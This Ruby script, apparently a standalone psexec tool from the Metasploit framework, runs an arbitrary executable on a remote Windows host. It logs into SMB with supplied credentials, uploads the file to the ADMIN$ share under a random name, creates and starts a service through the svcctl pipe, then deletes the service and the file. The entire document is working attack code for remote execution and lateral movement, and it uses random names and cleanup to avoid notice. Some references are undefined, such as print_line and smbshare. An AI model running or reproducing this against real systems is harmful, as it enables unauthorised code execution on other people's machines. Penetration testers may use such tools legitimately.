#!/usr/bin/env ruby # # # This is rough and dirty standalone (Rex only) psexec implementation # msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end gem 'rex-text' $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' require 'rex/proto/smb' require 'rex/proto/ntlm' require 'rex/proto/dcerpc' require 'rex/encoder/ndr' require 'rex/proto/smb/simpleclient' # SMB constants from Rex SIMPLE = Rex::Proto::SMB::SimpleClient XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants # Alias over the Rex DCERPC protocol modules DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR def print_error(msg) $stderr.puts "[-] #{msg}" end def print_status(msg) $stderr.puts "[+] #{msg}" end def print_lines(msg) $stderr.puts "[+] #{msg}" end def usage $stderr.puts "#{$0} [host] [exe] [user] [pass]" exit(0) end def dcerpc_handle(uuid, version, protocol, opts, rhost) Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) end def dcerpc_bind(handle, csocket, csimple, cuser, cpass) opts = { } opts['connect_timeout'] = 10 opts['read_timeout'] = 10 opts['smb_user'] = cuser opts['smb_pass'] = cpass opts['frag_size'] = 512 opts['smb_client'] = csimple Rex::Proto::DCERPC::Client.new(handle, csocket, opts) end def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) otimeout = dcerpc.options['read_timeout'] begin dcerpc.options['read_timeout'] = timeout if timeout dcerpc.call(function, stub, do_recv) rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse print_status("The DCERPC service did not reply to our request") return ensure dcerpc.options['read_timeout'] = otimeout end end opt_port = 445 opt_host = ARGV.shift() || usage() opt_path = ARGV.shift() || usage() opt_user = ARGV.shift() || usage() opt_pass = ARGV.shift() || "" opt_share = "ADMIN$" opt_domain = "." socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i }) simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445) simple.login( Rex::Text.rand_text_alpha(8), opt_user, opt_pass, opt_domain #datastore['SMB::VerifySignature'], #datastore['NTLM::UseNTLMv2'], #datastore['NTLM::UseNTLM2_session'], #datastore['NTLM::SendLM'], #datastore['NTLM::UseLMKey'], #datastore['NTLM::SendNTLM'], #datastore['SMB::Native_OS'], #datastore['SMB::Native_LM'], #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} ) simple.connect("\\\\#{opt_host}\\IPC$") if (not simple.client.auth_user) print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") exit(1) end fname = Rex::Text.rand_text_alpha(8) + ".exe" sname = Rex::Text.rand_text_alpha(8) # Upload the payload to the share print_status("Uploading payload...") simple.connect(opt_share) fd = simple.open("\\#{fname}", 'rwct', 500) File.open(opt_path, "rb") do |efd| fd << efd.read end fd.close print_status("Created \\#{fname}...") # Disconnect from the share simple.disconnect(opt_share) # Connect to the IPC service simple.connect("IPC$") # Bind to the service handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host) print_status("Binding to #{handle} ...") dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass) print_status("Bound to #{handle} ...") ## # OpenSCManagerW() ## print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{opt_host}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CreateServiceW() ## file_location = "%SYSTEMROOT%\\#{fname}" displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1) svc_handle = nil svc_status = nil print_status("Creating a new service (#{sname} - \"#{displayname}\")...") stubdata = scm_handle + NDR.wstring(sname) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring( file_location ) + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") exit(1) end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end ## # OpenServiceW ## print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(sname) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") exit(1) end ## # StartService() ## print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) rescue ::Exception => e print_error("Error: #{e}") exit(1) end # # DeleteService() ## print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end begin print_status("Deleting \\#{fname}...") select(nil, nil, nil, 1.0) simple.connect(smbshare) simple.delete("\\#{fname}") rescue ::Interrupt raise $! rescue ::Exception #raise $! end